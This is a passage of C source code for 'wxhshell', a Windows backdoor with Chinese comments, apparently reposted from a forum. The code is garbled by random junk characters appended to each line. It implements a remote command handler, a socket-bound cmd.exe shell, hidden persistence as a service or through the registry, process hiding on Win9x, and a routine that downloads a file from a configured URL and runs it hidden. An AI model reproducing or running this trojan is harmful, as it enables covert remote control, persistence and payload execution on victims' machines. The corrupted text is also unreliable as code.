  else { Dc2H<=];  
\<TWy&2&  
    switch(cmd[0]) { Kqm2TMO]>V  
  y2KR^/LN|Y  
  // 帮助 ',P$m&z  
  case '?': { OQ&l/|{O0?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0.+MlyA  
    break; PKJw%.-  
  } dSkMA  
  // 安装 }"Clv /3_  
  case 'i': { G0)}?5L1J  
    if(Install()) ;0FfP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #ozui-u>  
    else n&1q*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NYw>Z>TD8c  
    break; ~wvu7  
    } 6/6M.p  
  // 卸载 g%TOYZr!X  
  case 'r': { h/k00hD60  
    if(Uninstall()) xPCRT*Pd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R.(PZCvS  
    else Qco8m4n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F$M^}vsjGx  
    break; lha)4d  
    } #x*\dL  
  // 显示 wxhshell 所在路径 IK1'" S|  
  case 'p': { nvbzCtC  
    char svExeFile[MAX_PATH]; jl9hFubwW  
    strcpy(svExeFile,"\n\r"); Ogv9_ X8  
      strcat(svExeFile,ExeFile); $+w:W85B  
        send(wsh,svExeFile,strlen(svExeFile),0); T5|e\<l  
    break; s5h}MXIXw  
    } MroN=%|t  
  // 重启 xIA]5@;a  
  case 'b': { OY Sq)!:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'h R0JXy  
    if(Boot(REBOOT)) GHY+q{'#V_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZmI0|r}QbY  
    else { f*}}Az.4  
    closesocket(wsh); "%lIB{  
    ExitThread(0); xqs ,4bcbY  
    } ox*1F+Xri  
    break; .J <t]  
    } ^hNl6)hR  
  // 关机 8yk7d76Y  
  case 'd': { 1_WP\@ O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {8>g?4Q#  
    if(Boot(SHUTDOWN)) _iu~vU)r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F42<9)I  
    else { CFC15/yU  
    closesocket(wsh); 1*" 7q9x  
    ExitThread(0); F/x2}'  
    } 4O<sE@X  
    break; R:4@a ':H  
    } ]"}BqS0  
  // 获取shell hjyM xg;Q?  
  case 's': { By waD?  
    CmdShell(wsh); %_."JT$v{  
    closesocket(wsh); k3K*{"z  
    ExitThread(0); q #mBNe62p  
    break; =p^$>o  
  } 1w~PHH`~  
  // 退出 ?Z2`8]-E  
  case 'x': { Unvl~lm6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \3OEC`  
    CloseIt(wsh); Ge_fU'F  
    break; +5S>"KAUt0  
    } @^T~W^+  
  // 离开 p#).;\M   
  case 'q': { rY 6x):sC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >"8;8Ev  
    closesocket(wsh); :s6aFiz  
    WSACleanup(); A 0v=7 ]  
    exit(1);  9u^M{6  
    break; )X?oBNsj  
        } FRuPv6  
  } {CV+1kz  
  } r4pX4 7H  
d(|q&b:  
  // 提示信息 q8_(P&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ynv{ rMl  
} 3_<l`6^Ns/  
  } ,`JYFh M  
sC.b '1P  
  return; Q7rBc wm5  
} qCg<g  
u$ yXuFj/  
// shell模块句柄 Vbt!, 2_)  
int CmdShell(SOCKET sock) f";pfu_FZ  
{ ;89kL]  
STARTUPINFO si; 8T1zL.u>q  
ZeroMemory(&si,sizeof(si)); [3"F$?e5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >ei~:z]R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >MJ#|vO  
PROCESS_INFORMATION ProcessInfo; E447'aJ  
char cmdline[]="cmd"; +q'\rpt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?h6|N%U'  
  return 0; vo f8bQ{&  
} 23P&n(.  
+l^tT&s;f  
// 自身启动模式 u"q5 6}Q?]  
int StartFromService(void) vP x/&x  
{ ~v%6*9  
typedef struct ?V,q&=9  
{ K fD. J)  
  DWORD ExitStatus; XHekz6_  
  DWORD PebBaseAddress; s EFQ8S  
  DWORD AffinityMask; @QV0l]H0+  
  DWORD BasePriority; *#'j0;2F  
  ULONG UniqueProcessId; tBbOxMm0  
  ULONG InheritedFromUniqueProcessId; PQDLbSe)\  
}   PROCESS_BASIC_INFORMATION;  +=jS!  
Bhxs(NO  
PROCNTQSIP NtQueryInformationProcess; yI 2UmhA  
3l%Qd<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5afD;0D5TI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R|n  
=nHKTB>  
  HANDLE             hProcess; (B>/LsTu  
  PROCESS_BASIC_INFORMATION pbi; 'g!T${  
#h?I oB7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q)i %*IY  
  if(NULL == hInst ) return 0; ?D6uviQg  
6LBdTnzUd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _8a;5hS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qS#G7~ur>y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c`soVqT$?  
'|DW#l\n  
  if (!NtQueryInformationProcess) return 0; -T,?'J0 2  
lFGuQLuqA{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &1$d`>fn  
  if(!hProcess) return 0; r|EN5  
R3~,&ab  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B:T s_9*  
J-hJqR*;K  
  CloseHandle(hProcess); Jqj!k*=/  
H:@hCO[a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zbmC? 2$  
if(hProcess==NULL) return 0; Z+&V  >  
+P^ ;7"H  
HMODULE hMod; #7 3pryXV  
char procName[255]; {1)A"lQu  
unsigned long cbNeeded; w}gmVJ#p  
`Gqe]ZE#"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <Z]#vr q  
-B;#pTG  
  CloseHandle(hProcess); SLKpl LO  
Wd:pqhLh  
if(strstr(procName,"services")) return 1; // 以服务启动 umIGI  
bZ\R0[0  
  return 0; // 注册表启动 s0/O/G?  
} $D1ha CL  
itg_+%^R  
// 主模块 j(=w4Sd_W  
int StartWxhshell(LPSTR lpCmdLine) h m,{C  
{ I/`"lAFe  
  SOCKET wsl; 8@t8P5(vL  
BOOL val=TRUE; UGSZg|&6#*  
  int port=0; {V6&((E8  
  struct sockaddr_in door; #7i*Diqf9  
)i~AXBt}  
  if(wscfg.ws_autoins) Install(); iApq!u,  
& Q3Fgj  
port=atoi(lpCmdLine); ,AP0*Ln  
eX+36VG\  
if(port<=0) port=wscfg.ws_port; w*-42r3,'  
U?UU] >Q  
  WSADATA data; (9Zvr4.f7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YNr"]SA@;  
B&]`OO>O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M7TLQqaF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F_Y]>,U  
  door.sin_family = AF_INET; /'sv7hg+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w\)K0RN  
  door.sin_port = htons(port); 3YHEH\60^  
BpZ~6WtBq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lL}NiN-)t  
closesocket(wsl); 'X;cgAq8(  
return 1; (`1i o  
} G-d7}Uz ?  
hzo> :U  
  if(listen(wsl,2) == INVALID_SOCKET) { G?s9c0f  
closesocket(wsl); o;$xN3f,  
return 1; A7% d  
} lU{)%4e`  
  Wxhshell(wsl); n9B5D:.G  
  WSACleanup(); fpR|+`k  
PVIOe}N  
return 0; /65YHXg,  
-G(me"Cu  
} .nPOjwEx&Y  
JOJ.79CT  
// 以NT服务方式启动 XQo\27Fo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;|q<t  
{ C?\(?%B  
DWORD   status = 0; \O5L#dc#  
  DWORD   specificError = 0xfffffff; Anz{u$0M[  
qYK^S4L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MgXZN{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o701RG ~)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; csy6_q(  
  serviceStatus.dwWin32ExitCode     = 0; MTu\T  
  serviceStatus.dwServiceSpecificExitCode = 0; 8ymdg\I+L  
  serviceStatus.dwCheckPoint       = 0; BJjic%V  
  serviceStatus.dwWaitHint       = 0; ,"EaZ/Bl/  
2lTt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }J#HIE\RG  
  if (hServiceStatusHandle==0) return; ^&qK\m_A  
}9^:(ty2A  
status = GetLastError(); M& ZKc  
  if (status!=NO_ERROR) 7kLu rv  
{ #_DpiiS,.Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LCivZ0?|X  
    serviceStatus.dwCheckPoint       = 0; v \:AOY'  
    serviceStatus.dwWaitHint       = 0; \n{# r`T  
    serviceStatus.dwWin32ExitCode     = status; &<t%u[3  
    serviceStatus.dwServiceSpecificExitCode = specificError; }j/\OY _&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rw?w7?I  
    return; )]fsl_Yq  
  } 3Bl|~K;-  
Z>g72I%X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 90vWqL!  
  serviceStatus.dwCheckPoint       = 0; ZFtx&vr P  
  serviceStatus.dwWaitHint       = 0; T8S&9BM7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L1SX2F8  
} ?w:\0j5 ~  
k4'] q  
// 处理NT服务事件,比如:启动、停止 zDvV%+RW)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U1YqyG8  
{ .RroO_H   
switch(fdwControl) 7h\is  
{ <f>77vh0  
case SERVICE_CONTROL_STOP: RdX+:!lD  
  serviceStatus.dwWin32ExitCode = 0; tK3$,9+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; > "hP  
  serviceStatus.dwCheckPoint   = 0; Ti? "Hr<W  
  serviceStatus.dwWaitHint     = 0; m6i ,xn  
  { Qsbyy>o)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QNbZ)  
  } Nw"df=,{  
  return; ;P S4@,  
case SERVICE_CONTROL_PAUSE: ;>PHkJQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sPNm.W$_  
  break; 1UMEbb  
case SERVICE_CONTROL_CONTINUE: \'2rs152  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {,Z|8@Sl%  
  break; sVh)Ofn  
case SERVICE_CONTROL_INTERROGATE: I#OZ:g^  
  break; }ILBX4c  
}; 2hHRitt36  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zf$mwRS[_  
} :Racu;xf  
3eUi9_s+  
// 标准应用程序主函数 02,t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >#h,q|B  
{ Yi9Y`~J  
fM.#FT??  
// 获取操作系统版本 XpANaqH\  
OsIsNt=GetOsVer(); oXZWg~&l^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PJK:LZw  
KH2]:&6:Q  
  // 从命令行安装 6w%n$tiX  
  if(strpbrk(lpCmdLine,"iI")) Install(); z?DCQ  
&k'<xW?x  
  // 下载执行文件 ,u}wW*?,sT  
if(wscfg.ws_downexe) { + E{[j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ozY$}|sjDT  
  WinExec(wscfg.ws_filenam,SW_HIDE); H^'%$F?Ss  
} G ]h  
Ry +?#P+  
if(!OsIsNt) { @x1cV_s[  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;L$ -_Z  
HideProc(); -7!L]BcZ.  
StartWxhshell(lpCmdLine); )xVf3l pQ  
} lW"0fZ_x'E  
else ~C{:G;Iy0  
  if(StartFromService()) VP!4Nob  
  // 以服务方式启动 ;gL{*gR]S  
  StartServiceCtrlDispatcher(DispatchTable); mX>N1zAz  
else fgqCX:SWz  
  // 普通方式启动 }k.yLcXM  
  StartWxhshell(lpCmdLine); 6"_pCkn;c<  
1L`V{\_0s  
return 0; ,hf W2}  
}
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只看该作者 1 发表于: 2006-10-10
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